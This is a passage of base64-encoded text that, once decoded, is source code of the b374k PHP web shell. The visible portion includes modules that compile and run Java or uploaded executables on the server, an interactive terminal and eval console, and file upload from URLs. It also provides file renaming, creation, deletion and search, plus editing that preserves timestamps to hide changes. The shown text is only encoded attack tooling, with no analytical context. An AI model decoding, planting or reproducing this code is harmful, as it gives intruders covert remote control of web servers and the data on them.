0gIkV4ZWN1dGUgOiAiLiRjbWQuIlxuIjsKCQkJCQkJCSRvdXRwdXQgPSBleGVjdXRlKCRjbWQpOwoJCQkJCQl9CgkJCQkJCWVsc2UgJHJlcyAuPSAiIChmYWlsZWQpXG4iOwoJCQkJCQkkcmVzIC49ICJEZWxldGluZyB0ZW1wb3JhcnkgZmlsZSA6ICIuJHBhdGhyZXM7CgkJCQkJCWlmKHVubGluaygkcGF0aHJlcykpICRyZXMgLj0gIiAob2spXG4iOwoJCQkJCQllbHNlICRyZXMgLj0gIiAoZmFpbGVkKVxuIjsKCQkJCQl9CgkJCQkJZWxzZSAkcmVzIC49ICIgKGZhaWxlZClcbiI7CgkJCQkJJHJlcyAuPSAiRGVsZXRpbmcgdGVtcG9yYXJ5IGZpbGUgOiAiLiRwYXRoOwoJCQkJCWlmKHVubGluaygkcGF0aCkpICRyZXMgLj0gIiAob2spXG4iOwoJCQkJCWVsc2UgJHJlcyAuPSAiIChmYWlsZWQpXG4iOwoJCQkJfQoJCQkJZWxzZSAkcmVzIC49ICIgKGZhaWxlZClcbiI7CgkJCX0KCQkJZWxzZSAkcmVzIC49ICIgKG5vdCB3cml0YWJsZSlcbiI7CgoJCQkkcmVzIC49ICJGaW5pc2hlZC4uLiI7CgkJCXJldHVybiAkcmVzLiJ7W3xiMzc0a3xdfSIuJG91dHB1dDsKCQl9CgkJZWxzZWlmKCRldmFsVHlwZT09ImphdmEiKXsKCQkJJHRtcGRpciA9IGdldF93cml0YWJsZWRpcigpOwoJCQljaGRpcigkdG1wZGlyKTsKCgkJCSRyZXMgLj0gIlVzaW5nIGRpciA6ICIuJHRtcGRpcjsKCQkJaWYoaXNfd3JpdGFibGUoJHRtcGRpcikpewoJCQkJJHJlcyAuPSAiICh3cml0YWJsZSlcbiI7CgoJCQkJaWYocHJlZ19tYXRjaCgiL2NsYXNzXCAoW157XSspey9pIiwkZXZhbENvZGUsICRyKSl7CgkJCQkJJGNsYXNzbmFtZSA9IHRyaW0oJHJbMV0pOwoJCQkJCSRmaWxlbmFtZSA9ICRjbGFzc25hbWU7CgkJCQl9CgkJCQllbHNlewoJCQkJCSR1bmlxID0gc3Vic3RyKG1kNSh0aW1lKCkpLDAsOCk7CgkJCQkJJGZpbGVuYW1lID0gJGV2YWxUeXBlLiR1bmlxOwoJCQkJCSRldmFsQ29kZSA9ICJjbGFzcyAiLiRmaWxlbmFtZS4iIHsgIi4kZXZhbENvZGUgLiAiIH0gIjsKCQkJCX0KCgkJCQkkcGF0aCA9ICRmaWxlbmFtZS4iLmphdmEiOwoJCQkJJHJlcyAuPSAiVGVtcG9yYXJ5IGZpbGUgOiAiLiRwYXRoOwoJCQkJaWYod3JpdGVfZmlsZSgkcGF0aCwgJGV2YWxDb2RlKSl7CgkJCQkJJHJlcyAuPSAiIChvaylcbiI7CgkJCQkJJGNtZCA9ICJqYXZhYyAiLiRldmFsT3B0aW9ucy4kcGF0aDsKCQkJCQkkcmVzIC49ICJDb21waWxpbmcgOiAiLiRjbWQ7CgkJCQkJJHJlcyAuPSBleGVjdXRlKCRjbWQpOwoJCQkJCSRwYXRocmVzID0gJGZpbGVuYW1lLiIuY2xhc3MiOwoJCQkJCWlmKGlzX2ZpbGUoJHBhdGhyZXMpKXsKCQkJCQkJJHJlcyAuPSAiIChvaylcbiI7CgkJCQkJCSRyZXMgLj0gIlNldHRpbmcgcGVybWlzc2lvbnMgOiAwNzU1IjsKCQkJCQkJaWYoY2htb2QoJHBhdGhyZXMsIDA3NTUpKXsKCQkJCQkJCSRyZXMgLj0gIiAob2spXG4iOwoJCQkJCQkJJGNtZCA9ICJqYXZhICIuJGZpbGVuYW1lLiRldmFsQXJndW1lbnRzOwoJCQkJCQkJJHJlcyAuPSAiRXhlY3V0ZSA6ICIuJGNtZC4iXG4iOwoJCQkJCQkJJG91dHB1dCA9IGV4ZWN1dGUoJGNtZCk7CgkJCQkJCX0KCQkJCQkJZWxzZSAkcmVzIC49ICIgKGZhaWxlZClcbiI7CgkJCQkJCSRyZXMgLj0gIkRlbGV0aW5nIHRlbXBvcmFyeSBmaWxlIDogIi4kcGF0aHJlczsKCQkJCQkJaWYodW5saW5rKCRwYXRocmVzKSkgJHJlcyAuPSAiIChvaylcbiI7CgkJCQkJCWVsc2UgJHJlcyAuPSAiIChmYWlsZWQpXG4iOwoJCQkJCX0KCQkJCQllbHNlICRyZXMgLj0gIiAoZmFpbGVkKVxuIjsKCQkJCQkkcmVzIC49ICJEZWxldGluZyB0ZW1wb3JhcnkgZmlsZSA6ICIuJHBhdGg7CgkJCQkJaWYodW5saW5rKCRwYXRoKSkgJHJlcyAuPSAiIChvaylcbiI7CgkJCQkJZWxzZSAkcmVzIC49ICIgKGZhaWxlZClcbiI7CgkJCQl9CgkJCQllbHNlICRyZXMgLj0gIiAoZmFpbGVkKVxuIjsKCQkJfQoJCQllbHNlICRyZXMgLj0gIiAobm90IHdyaXRhYmxlKVxuIjsKCgkJCSRyZXMgLj0gIkZpbmlzaGVkLi4uIjsKCQkJcmV0dXJuICRyZXMuIntbfGIzNzRrfF19Ii4kb3V0cHV0OwoJCX0KCQllbHNlaWYoJGV2YWxUeXBlPT0iZXhlY3V0YWJsZSIpewoJCQkkdG1wZGlyID0gZ2V0X3dyaXRhYmxlZGlyKCk7CgkJCWNoZGlyKCR0bXBkaXIpOwoKCQkJJHJlcyAuPSAiVXNpbmcgZGlyIDogIi4kdG1wZGlyOwoJCQlpZihpc193cml0YWJsZSgkdG1wZGlyKSl7CgkJCQkkcmVzIC49ICIgKHdyaXRhYmxlKVxuIjsKCQkJCSR1bmlxID0gc3Vic3RyKG1kNSh0aW1lKCkpLDAsOCk7CgkJCQkkZmlsZW5hbWUgPSAkZXZhbFR5cGUuJHVuaXEuIi5leGUiOwoJCQkJJHBhdGggPSAkZmlsZW5hbWU7CgkJCQkkcmVzIC49ICJUZW1wb3JhcnkgZmlsZSA6ICIuJHBhdGg7CgkJCQlpZih3cml0ZV9maWxlKCRwYXRoLCAkZXZhbENvZGUpKXsKCQkJCQkkcmVzIC49ICIgKG9rKVxuIjsKCQkJCQkkY21kID0gJHBhdGguJGV2YWxBcmd1bWVudHM7CgkJCQkJJHJlcyAuPSAiRXhlY3V0ZSA6ICIuJGNtZC4iXG4iOwoJCQkJCSRvdXRwdXQgPSBleGVjdXRlKCRjbWQpOwoKCQkJCQkkcmVzIC49ICJEZWxldGluZyB0ZW1wb3JhcnkgZmlsZSA6ICIuJHBhdGg7CgkJCQkJaWYodW5saW5rKCRwYXRoKSkgJHJlcyAuPSAiIChvaylcbiI7CgkJCQkJZWxzZSAkcmVzIC49ICIgKGZhaWxlZClcbiI7CgkJCQl9CgkJCQllbHNlICRyZXMgLj0gIiAoZmFpbGVkKVxuIjsKCQkJfQoJCQllbHNlICRyZXMgLj0gIiAobm90IHdyaXRhYmxlKVxuIjsKCgkJCSRyZXMgLj0gIkZpbmlzaGVkLi4uIjsKCQkJcmV0dXJuICRyZXMuIntbfGIzNzRrfF19Ii4kb3V0cHV0OwoJCX0KCQlyZXR1cm4gZmFsc2U7Cgl9Cn0KCmlmKCFmdW5jdGlvbl9leGlzdHMoJ291dHB1dCcpKXsKCWZ1bmN0aW9uIG91dHB1dCgkc3RyKXsKCQkkZXJyb3IgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7CgkJQG9iX2VuZF9jbGVhbigpOwoJCWhlYWRlcigiQ29udGVudC1UeXBlOiB0ZXh0L3BsYWluIik7CgkJaGVhZGVyKCJDYWNoZS1Db250cm9sOiBuby1jYWNoZSIpOwoJCWhlYWRlcigiUHJhZ21hOiBuby1jYWNoZSIpOwoJCWVjaG8gJHN0cjsKCQlkaWUoKTsKCX0KfQpibG9ja19ib3QoKTsKYXV0aCgpOwpjaGRpcihnZXRfY3dkKCkpOwokbmF2ID0gZ2V0X25hdihnZXRfY3dkKCkpOwokcCA9IGFycmF5X21hcCgicmF3dXJsZGVjb2RlIiwgZ2V0X3Bvc3QoKSk7CiRjd2QgPSBodG1sX3NhZmUoZ2V0X2N3ZCgpKTsKJEdMT0JBTFNbJ21vZHVsZSddID0gYXJyYXkoKTsKCiRleHBsb3Jlcl9jb250ZW50ID0gIiI7CmlmKGlzc2V0KCRwWyd2aWV3RW50cnknXSkpewoJJHBhdGggPSB0cmltKCRwWyd2aWV3RW50cnknXSk7CglpZihpc19maWxlKCRwYXRoKSl7CgkJJGRpcm5hbWUgPSByZWFscGF0aChkaXJuYW1lKCRwYXRoKSkuRElSRUNUT1JZX1NFUEFSQVRPUjsKCQlzZXRjb29raWUoImN3ZCIsICRkaXJuYW1lKTsKCQljaGRpcigkZGlybmFtZSk7CgkJJG5hdiA9IGdldF9uYXYoJGRpcm5hbWUpOwoJCSRjd2QgPSBodG1sX3NhZmUoJGRpcm5hbWUpOwoJCSRleHBsb3Jlcl9jb250ZW50ID0gdmlld19maWxlKCRwYXRoLCAiYXV0byIpOwoJfQoJZWxzZWlmKGlzX2RpcigkcGF0aCkpewoJCSRwYXRoID0gcmVhbHBhdGgoJHBhdGgpLkRJUkVDVE9SWV9TRVBBUkFUT1I7CgkJc2V0Y29va2llKCJjd2QiLCAkcGF0aCk7CgkJY2hkaXIoJHBhdGgpOwoJCSRuYXYgPSBnZXRfbmF2KCRwYXRoKTsKCQkkY3dkID0gaHRtbF9zYWZlKCRwYXRoKTsKCQkkZXhwbG9yZXJfY29udGVudCA9IHNob3dfYWxsX2ZpbGVzKCRwYXRoKTsKCX0KfQplbHNlICRleHBsb3Jlcl9jb250ZW50ID0gc2hvd19hbGxfZmlsZXMoZ2V0X2N3ZCgpKTsKCiRHTE9CQUxTWydtb2R1bGUnXVsnZXhwbG9yZXInXVsnaWQnXSA9ICJleHBsb3JlciI7CiRHTE9CQUxTWydtb2R1bGUnXVsnZXhwbG9yZXInXVsndGl0bGUnXSA9ICJFeHBsb3JlciI7CiRHTE9CQUxTWydtb2R1bGUnXVsnZXhwbG9yZXInXVsnanNfb250YWJzZWxlY3RlZCddID0gIiI7CiRHTE9CQUxTWydtb2R1bGUnXVsnZXhwbG9yZXInXVsnY29udGVudCddID0gJGV4cGxvcmVyX2NvbnRlbnQ7CgokR0xPQkFMU1snbW9kdWxlJ11bJ3Rlcm1pbmFsJ11bJ2lkJ10gPSAidGVybWluYWwiOwokR0xPQkFMU1snbW9kdWxlJ11bJ3Rlcm1pbmFsJ11bJ3RpdGxlJ10gPSAiVGVybWluYWwiOwokR0xPQkFMU1snbW9kdWxlJ11bJ3Rlcm1pbmFsJ11bJ2pzX29udGFic2VsZWN0ZWQnXSA9ICIKaWYoKCFwb3J0YWJsZU1vZGUpICYmICgkKCcjdGVybWluYWxPdXRwdXQnKS5odG1sKCk9PScnKSkgJCgnI3Rlcm1pbmFsSW5wdXQnKS5mb2N1cygpOyI7CiRHTE9CQUxTWydtb2R1bGUnXVsndGVybWluYWwnXVsnY29udGVudCddID0gIjxwcmUgaWQ9J3Rlcm1pbmFsT3V0cHV0Jz48L3ByZT48dGFibGUgaWQ9J3Rlcm1pbmFsUHJvbXB0Jz48dHI+PHRkIGNsYXNzPSdjb2xGaXQnPjxzcGFuIGlkPSd0ZXJtaW5hbEN3ZCcgY2xhc3M9J3N0cm9uZyc+Ii5nZXRfY3dkKCkuIiZndDs8L3NwYW48L3RkPjx0ZCBpZD0ndGVybWluYWxDb21tYW5kJz48aW5wdXQgdHlwZT0ndGV4dCcgaWQ9J3Rlcm1pbmFsSW5wdXQnIGNsYXNzPSdmbG9hdExlZnQnIHNwZWxsY2hlY2s9J2ZhbHNlJz48L3RkPjwvdHI+PC90YWJsZT4iOwoKCiRHTE9CQUxTWydtb2R1bGUnXVsnZXZhbCddWydpZCddID0gImV2YWwiOwokR0xPQkFMU1snbW9kdWxlJ11bJ2V2YWwnXVsndGl0bGUnXSA9ICJFdmFsIjsKJEdMT0JBTFNbJ21vZHVsZSddWydldmFsJ11bJ2pzX29udGFic2VsZWN0ZWQnXSA9ICIKaWYoKCFwb3J0YWJsZU1vZGUpICYmICgkKCcjZXZhbE91dHB1dCcpLmh0bWwoKT09J1lvdSBjYW4gYWxzbyBwcmVzcyBjdHJsK2VudGVyIHRvIHN1Ym1pdCcpKSAkKCcjZXZhbElucHV0JykuZm9jdXMoKTsiOwokR0xPQkFMU1snbW9kdWxlJ11bJ2V2YWwnXVsnY29udGVudCddID0gIgo8dGFibGUgY2xhc3M9J2JveHRibCc+Cjx0aGVhZD4KCTx0cj48dGggY29sc3Bhbj0nNCc+PHAgY2xhc3M9J2JveHRpdGxlJz5FdmFsPC9wPjwvdGg+PC90cj4KPC90aGVhZD4KPHRib2R5PgoJPHRyPjx0ZCBjb2xzcGFuPSc0Jz48dGV4dGFyZWEgaWQ9J2V2YWxJbnB1dCcgc3BlbGxjaGVjaz0nZmFsc2UnIHN0eWxlPSdoZWlnaHQ6MTQwcHg7bWluLWhlaWdodDoxNDBweDsnPjwvdGV4dGFyZWE+PC90ZD48L3RyPgoJCgk8dHIgaWQ9J2V2YWxBZGRpdGlvbmFsJz48dGQgY29sc3Bhbj0nNCc+CgkJPGlucHV0IHR5cGU9J3RleHQnIGlkPSdldmFsT3B0aW9ucycgdmFsdWU9J09wdGlvbnMvU3dpdGNoZXMnIHNwZWxsY2hlY2s9J2ZhbHNlJyBvbmtleWRvd249XCJ0cmFwX2VudGVyKGV2ZW50LCAnZXZhbF9nbycpO1wiPgoJCTxpbnB1dCB0eXBlPSd0ZXh0JyBpZD0nZXZhbEFyZ3VtZW50cycgdmFsdWU9J0FyZ3VtZW50cycgc3BlbGxjaGVjaz0nZmFsc2UnIG9ua2V5ZG93bj1cInRyYXBfZW50ZXIoZXZlbnQsICdldmFsX2dvJyk7XCI+Cgk8L3RkPjwvdHI+CgkKCTx0cj4KCQk8dGQgc3R5bGU9J3dpZHRoOjE0NHB4Oyc+CgkJCTxzZWxlY3QgaWQ9J2V2YWxUeXBlJz4KCQkJCQoJCQk8L3NlbGVjdD4KCQk8L3RkPgoJCTx0ZCBjb2xzcGFuPSczJz4KCQkJPHNwYW4gaWQ9J2V2YWxTdWJtaXQnIHN0eWxlPSd3aWR0aDoxMjBweDsnIGNsYXNzPSdidXR0b24nIG9uY2xpY2s9XCJldmFsX2dvKCk7XCI+cnVuPC9zcGFuPgkKCQk8L3RkPgoJPC90cj4KCQoJPHRyPjx0ZCBjb2xzcGFuPSc0Jz48cHJlIGlkPSdldmFsT3V0cHV0Jz5Zb3UgY2FuIGFsc28gcHJlc3MgY3RybCtlbnRlciB0byBzdWJtaXQ8L3ByZT48L3RkPC90cj4KPC90Ym9keT4KPC90YWJsZT4KIjsKCiRyZXMgPSAiIjsKaWYoaXNzZXQoJHBbJ2NkJ10pKXsKCSRwYXRoID0gJHBbJ2NkJ107CglpZih0cmltKCRwYXRoKT09JycpICRwYXRoID0gZGlybmFtZShfX0ZJTEVfXyk7CgoJJHBhdGggPSByZWFscGF0aCgkcGF0aCk7CglpZihpc19maWxlKCRwYXRoKSkgJHBhdGggPSBkaXJuYW1lKCRwYXRoKTsKCWlmKGlzX2RpcigkcGF0aCkpewoJCWNoZGlyKCRwYXRoKTsKCQkkcGF0aCA9ICRwYXRoLkRJUkVDVE9SWV9TRVBBUkFUT1I7CgkJc2V0Y29va2llKCJjd2QiLCAkcGF0aCk7CgkJJHJlcyA9ICRwYXRoLiJ7W3xiMzc0a3xdfSIuZ2V0X25hdigkcGF0aCkuIntbfGIzNzRrfF19IjsKCQlpZihpc3NldCgkcFsnc2hvd2ZpbGVzJ10pJiYoJHBbJ3Nob3dmaWxlcyddPT0ndHJ1ZScpKXsKCQkJJHJlcyAuPSBzaG93X2FsbF9maWxlcygkcGF0aCk7CgkJfQoJfQoJZWxzZSAkcmVzID0gImVycm9yIjsKCW91dHB1dCgkcmVzKTsKfQplbHNlaWYoaXNzZXQoJHBbJ3ZpZXdGaWxlJ10pICYmIGlzc2V0KCRwWyd2aWV3VHlwZSddKSl7CgkkcGF0aCA9IHRyaW0oJHBbJ3ZpZXdGaWxlJ10pOwoJJHR5cGUgPSB0cmltKCRwWyd2aWV3VHlwZSddKTsKCSRwcmVzZXJ2ZVRpbWVzdGFtcCA9IHRyaW0oJHBbJ3ByZXNlcnZlVGltZXN0YW1wJ10pOwoJaWYoaXNfZmlsZSgkcGF0aCkpewoJCSRyZXMgPSB2aWV3X2ZpbGUoJHBhdGgsICR0eXBlLCAkcHJlc2VydmVUaW1lc3RhbXApOwoJfQoJZWxzZSAkcmVzID0gImVycm9yIjsKCW91dHB1dCgkcmVzKTsKfQplbHNlaWYoaXNzZXQoJHBbJ3JlbmFtZUZpbGUnXSkgJiYgaXNzZXQoJHBbJ3JlbmFtZUZpbGVUbyddKSl7CgkkcmVuYW1lRmlsZSA9IHRyaW0oJHBbJ3JlbmFtZUZpbGUnXSk7CgkkcmVuYW1lRmlsZVRvID0gdHJpbSgkcFsncmVuYW1lRmlsZVRvJ10pOwoJaWYoZmlsZV9leGlzdHMoJHJlbmFtZUZpbGUpKXsKCQlpZihyZW5hbWUoJHJlbmFtZUZpbGUsICRyZW5hbWVGaWxlVG8pKXsKCQkJJHJlcyA9IGRpcm5hbWUoJHJlbmFtZUZpbGVUbyk7CgkJfQoJCWVsc2UgJHJlcyA9ICJlcnJvciI7Cgl9CgllbHNlICRyZXMgPSAiZXJyb3IiOwoJb3V0cHV0KCRyZXMpOwp9CmVsc2VpZihpc3NldCgkcFsnbmV3Rm9sZGVyJ10pKXsKCSRuZXdGb2xkZXIgPSB0cmltKCRwWyduZXdGb2xkZXInXSk7CglpZihta2RpcigkbmV3Rm9sZGVyKSl7CgkJJHJlcyA9IGRpcm5hbWUoJG5ld0ZvbGRlcik7Cgl9CgllbHNlICRyZXMgPSAiZXJyb3IiOwoJb3V0cHV0KCRyZXMpOwp9CmVsc2VpZihpc3NldCgkcFsnbmV3RmlsZSddKSl7CgkkbmV3RmlsZSA9IHRyaW0oJHBbJ25ld0ZpbGUnXSk7CglpZih0b3VjaCgkbmV3RmlsZSkpewoJCSRyZXMgPSBkaXJuYW1lKCRuZXdGaWxlKTsKCX0KCWVsc2UgJHJlcyA9ICJlcnJvciI7CglvdXRwdXQoJHJlcyk7Cn0KZWxzZWlmKGlzc2V0KCRwWydkZWxldGUnXSkpewoJJHBhdGggPSB0cmltKCRwWydkZWxldGUnXSk7CgkkZGlybmFtZSA9IGRpcm5hbWUoJHBhdGgpOwoJaWYoaXNfZmlsZSgkcGF0aCkpewoJCWlmKHVubGluaygkcGF0aCkpICRyZXMgPSAkZGlybmFtZTsKCX0KCWVsc2VpZihpc19kaXIoJHBhdGgpKXsKCQlpZihybWRpcnMoJHBhdGgpPjApICRyZXMgPSAkZGlybmFtZTsKCX0KCWVsc2UgJHJlcyA9ICJlcnJvciI7CglpZihmaWxlX2V4aXN0cygkcGF0aCkpICRyZXMgPSAiZXJyb3IiOwoJb3V0cHV0KCRyZXMpOwp9CmVsc2VpZihpc3NldCgkcFsnZWRpdFR5cGUnXSkmJmlzc2V0KCRwWydlZGl0RmlsZW5hbWUnXSkmJmlzc2V0KCRwWydlZGl0SW5wdXQnXSkmJmlzc2V0KCRwWydwcmVzZXJ2ZVRpbWVzdGFtcCddKSl7CgkkZWRpdEZpbGVuYW1lID0gdHJpbSgkcFsnZWRpdEZpbGVuYW1lJ10pOwoJJGVkaXRJbnB1dCA9IHRyaW0oJHBbJ2VkaXRJbnB1dCddKTsKCSRlZGl0VHlwZSA9IHRyaW0oJHBbJ2VkaXRUeXBlJ10pOwoJJHByZXNlcnZlVGltZXN0YW1wID0gdHJpbSgkcFsncHJlc2VydmVUaW1lc3RhbXAnXSk7CgkkdGltZSA9IGZpbGVtdGltZSgkZWRpdEZpbGVuYW1lKTsKCWlmKCRlZGl0VHlwZT09J2hleCcpICRlZGl0SW5wdXQgPSBwYWNrKCJIKiIgLCBwcmVnX3JlcGxhY2UoIi9ccy8iLCIiLCAkZWRpdElucHV0KSk7CglpZih3cml0ZV9maWxlKCRlZGl0RmlsZW5hbWUsICRlZGl0SW5wdXQpKXsKCQkkcmVzID0gJGVkaXRGaWxlbmFtZTsKCQlpZigkcHJlc2VydmVUaW1lc3RhbXA9PSd0cnVlJykgdG91Y2goJGVkaXRGaWxlbmFtZSwgJHRpbWUpOwoJfQoJZWxzZSAkcmVzID0gImVycm9yIjsKCW91dHB1dCgkcmVzKTsKfQplbHNlaWYoaXNzZXQoJHBbJ2ZpbmRUeXBlJ10pKXsKCSRmaW5kVHlwZSA9IHRyaW0oJHBbJ2ZpbmRUeXBlJ10pOwoJJGZpbmRQYXRoID0gdHJpbSgkcFsnZmluZFBhdGgnXSk7CgkkZmluZE5hbWUgPSB0cmltKCRwWydmaW5kTmFtZSddKTsKCSRmaW5kTmFtZVJlZ2V4ID0gdHJpbSgkcFsnZmluZE5hbWVSZWdleCddKTsKCSRmaW5kTmFtZUluc2Vuc2l0aXZlID0gdHJpbSgkcFsnZmluZE5hbWVJbnNlbnNpdGl2ZSddKTsKCSRmaW5kQ29udGVudCA9IHRyaW0oJHBbJ2ZpbmRDb250ZW50J10pOwoJJGZpbmRDb250ZW50UmVnZXggPSB0cmltKCRwWydmaW5kQ29udGVudFJlZ2V4J10pOwoJJGZpbmRDb250ZW50SW5zZW5zaXRpdmUgPSB0cmltKCRwWydmaW5kQ29udGVudEluc2Vuc2l0aXZlJ10pOwoJJGZpbmRSZWFkYWJsZSA9IHRyaW0oJHBbJ2ZpbmRSZWFkYWJsZSddKTsKCSRmaW5kV3JpdGFibGUgPSB0cmltKCRwWydmaW5kV3JpdGFibGUnXSk7CgkkZmluZEV4ZWN1dGFibGUgPSB0cmltKCRwWydmaW5kRXhlY3V0YWJsZSddKTsKCgkkY2FuZGlkYXRlID0gZ2V0X2FsbF9maWxlcygkZmluZFBhdGgpOwoJaWYoJGZpbmRUeXBlPT0nZmlsZScpICRjYW5kaWRhdGUgPSBhcnJheV9maWx0ZXIoJGNhbmRpZGF0ZSwgImlzX2ZpbGUiKTsKCWVsc2VpZigkZmluZFR5cGU9PSdmb2xkZXInKSAkY2FuZGlkYXRlID0gYXJyYXlfZmlsdGVyKCRjYW5kaWRhdGUsICJpc19kaXIiKTsKCWVsc2UgJHJlcyA9ICJlcnJvciI7CgoJZm9yZWFjaCgkY2FuZGlkYXRlIGFzICRrKXsKCQlpZigoJGZpbmRUeXBlPT0iZmlsZSIpfHwoJGZpbmRUeXBlPT0iZm9sZGVyIikpewoJCQlpZighZW1wdHkoJGZpbmROYW1lKSl7CgkJCQlpZigkZmluZE5hbWVSZWdleD09InRydWUiKXsKCQkJCQkkY2FzZSA9ICgkZmluZE5hbWVJbnNlbnNpdGl2ZT09InRydWUiKT8gImkiOiIiOwoJCQkJCWlmKCFwcmVnX21hdGNoKCIvIi4kZmluZE5hbWUuIi8iLiRjYXNlLCBiYXNlbmFtZSgkaykpKXsKCQkJCQkJJGNhbmRpZGF0ZSA9IGFycmF5X2RpZmYoJGNhbmRpZGF0ZSwgYXJyYXkoJGspKTsKCQkJCQl9CgkJCQl9CgkJCQllbHNlewoJCQkJCSRjaGVjayA9IGZhbHNlOwoJCQkJCWlmKCRmaW5kTmFtZUluc2Vuc2l0aXZlPT0idHJ1ZSIpewoJCQkJCQkkY2hlY2sgPSBzdHJwb3Moc3RydG9sb3dlcihiYXNlbmFtZSgkaykpLCBzdHJ0b2xvd2VyKCRmaW5kTmFtZSkpPT09ZmFsc2U7CgkJCQkJfQoJCQkJCWVsc2V7CgkJCQkJCSRjaGVjayA9IHN0cnBvcyhiYXNlbmFtZSgkayksICRmaW5kTmFtZSk9PT1mYWxzZTsKCQkJCQl9CgoJCQkJCWlmKCRjaGVjayl7CgkJCQkJCSRjYW5kaWRhdGUgPSBhcnJheV9kaWZmKCRjYW5kaWRhdGUsIGFycmF5KCRrKSk7CgkJCQkJfQoJCQkJfQoJCQl9CgkJfQoJCWlmKCRmaW5kVHlwZT09ImZpbGUiKXsKCQkJaWYoIWVtcHR5KCRmaW5kQ29udGVudCkpewoJCQkJJGNvbnRlbnQgPSByZWFkX2ZpbGUoJGspOwoJCQkJaWYoJGZpbmRDb250ZW50UmVnZXg9PSJ0cnVlIil7CgkJCQkJJGNhc2UgPSAoJGZpbmRDb250ZW50SW5zZW5zaXRpdmU9PSJ0cnVlIik/ICJpIjoiIjsKCQkJCQlpZighcHJlZ19tYXRjaCgiLyIuJGZpbmRDb250ZW50LiIvIi4kY2FzZSwgJGNvbnRlbnQpKXsKCQkJCQkJJGNhbmRpZGF0ZSA9IGFycmF5X2RpZmYoJGNhbmRpZGF0ZSwgYXJyYXkoJGspKTsKCQkJCQl9CgkJCQl9CgkJCQllbHNlewoJCQkJCSRjaGVjayA9IGZhbHNlOwoJCQkJCWlmKCRmaW5kQ29udGVudEluc2Vuc2l0aXZlPT0idHJ1ZSIpewoJCQkJCQkkY2hlY2sgPSBzdHJwb3Moc3RydG9sb3dlcigkY29udGVudCksIHN0cnRvbG93ZXIoJGZpbmRDb250ZW50KSk9PT1mYWxzZTsKCQkJCQl9CgkJCQkJZWxzZXsKCQkJCQkJJGNoZWNrID0gc3RycG9zKCRjb250ZW50LCAkZmluZENvbnRlbnQpPT09ZmFsc2U7CgkJCQkJfQoJCQkJCWlmKCRjaGVjayl7CgkJCQkJCSRjYW5kaWRhdGUgPSBhcnJheV9kaWZmKCRjYW5kaWRhdGUsIGFycmF5KCRrKSk7CgkJCQkJfQoJCQkJfQoJCQl9CgkJfQoJfQoKCWZvcmVhY2goJGNhbmRpZGF0ZSBhcyAkayl7CgkJaWYoJGZpbmRSZWFkYWJsZT09InRydWUiKXsKCQkJaWYoIWlzX3JlYWRhYmxlKCRrKSkgJGNhbmRpZGF0ZSA9IGFycmF5X2RpZmYoJGNhbmRpZGF0ZSwgYXJyYXkoJGspKTsKCQl9CgkJaWYoJGZpbmRXcml0YWJsZT09InRydWUiKXsKCQkJaWYoIWlzX3dyaXRhYmxlKCRrKSkgJGNhbmRpZGF0ZSA9IGFycmF5X2RpZmYoJGNhbmRpZGF0ZSwgYXJyYXkoJGspKTsKCQl9CgkJaWYoJGZpbmRFeGVjdXRhYmxlPT0idHJ1ZSIpewoJCQlpZighaXNfZXhlY3V0YWJsZSgkaykpICRjYW5kaWRhdGUgPSBhcnJheV9kaWZmKCRjYW5kaWRhdGUsIGFycmF5KCRrKSk7CgkJfQoJfQoKCWlmKGNvdW50KCRjYW5kaWRhdGUpPjApewoJCSRyZXMgPSAiIjsKCQlmb3JlYWNoKCRjYW5kaWRhdGUgYXMgJGspewoJCQkkcmVzIC49ICI8cD48c3BhbiBjbGFzcz0nc3Ryb25nJz4mZ3Q7PC9zcGFuPiZuYnNwOzxhIGRhdGEtcGF0aD0nIi5odG1sX3NhZmUoJGspLiInIG9uY2xpY2s9J3ZpZXdfZW50cnkodGhpcyk7Jz4iLmh0bWxfc2FmZSgkaykuIjwvYT48L3A+IjsKCQl9Cgl9CgllbHNlICRyZXMgPSAiIjsKCW91dHB1dCgkcmVzKTsKfQplbHNlaWYoaXNzZXQoJHBbJ3VsVHlwZSddKSl7CgkkdWxTYXZlVG8gPSB0cmltKCRwWyd1bFNhdmVUbyddKTsKCSR1bEZpbGVuYW1lID0gdHJpbSgkcFsndWxGaWxlbmFtZSddKTsKCglpZigkcFsndWxUeXBlJ109PSdjb21wJyl7CgkJJHVsRmlsZSA9ICRfRklMRVNbJ3VsRmlsZSddOwoJCWlmKGVtcHR5KCR1bEZpbGVuYW1lKSkgJHVsRmlsZW5hbWUgPSAkdWxGaWxlWyduYW1lJ107CgoJCWlmKGlzX3VwbG9hZGVkX2ZpbGUoJHVsRmlsZVsndG1wX25hbWUnXSkpewoJCQlpZighaXNfZGlyKCR1bFNhdmVUbykpIG1rZGlyKCR1bFNhdmVUbyk7CgkJCSRuZXdmaWxlID0gcmVhbHBhdGgoJHVsU2F2ZVRvKS5ESVJFQ1RPUllfU0VQQVJBVE9SLiR1bEZpbGVuYW1lOwoJCQlpZihtb3ZlX3VwbG9hZGVkX2ZpbGUoJHVsRmlsZVsndG1wX25hbWUnXSwgJG5ld2ZpbGUpKXsKCQkJCSRyZXMgPSAiPHNwYW4gY2xhc3M9J3N0cm9uZyc+Jmd0Ozwvc3Bhbj4mbmJzcDs8YSBkYXRhLXBhdGg9JyIuaHRtbF9zYWZlKCRuZXdmaWxlKS4iJyBvbmNsaWNrPSd2aWV3X2VudHJ5KHRoaXMpOyc+Ii5odG1sX3NhZmUoJG5ld2ZpbGUpLiI8L2E+Jm5ic3A7KCAxMDAlICkiOwoJCQl9CgkJCWVsc2UgJHJlcyA9ICJlcnJvciI7CgkJfQoJCWVsc2UgJHJlcyA9ICJlcnJvciI7Cgl9CgllbHNlaWYoJHBbJ3VsVHlwZSddPT0ndXJsJyl7CgkJJHVsRmlsZSA9IHRyaW0oJHBbJ3VsRmlsZSddKTsKCQlpZihlbXB0eSgkdWxGaWxlbmFtZSkpICR1bEZpbGVuYW1lID0gYmFzZW5hbWUoJHVsRmlsZSk7CgkJaWYoIWlzX2RpcigkdWxTYXZlVG8pKSBta2RpcigkdWxTYXZlVG8pOwoJCSRuZXdmaWxlID0gcmVhbHBhdGgoJHVsU2F2ZVRvKS5ESVJFQ1RPUllfU0VQQVJBVE9SLiR1bEZpbGVuYW1lOwoKCQlpZihkb3dubG9hZCgkdWxGaWxlLCAkbmV3ZmlsZSkpewoJCQkkcmVzID0gIjxzcGFuIGNsYXNzPSdzdHJvbmcnPiZndDs8L3NwYW4+Jm5ic3A7PGEgZGF0YS1wYXRoPSciLmh0bWxfc2FmZSgkbmV3ZmlsZSkuIicgb25jbGljaz0ndmlld19lbnRyeSh0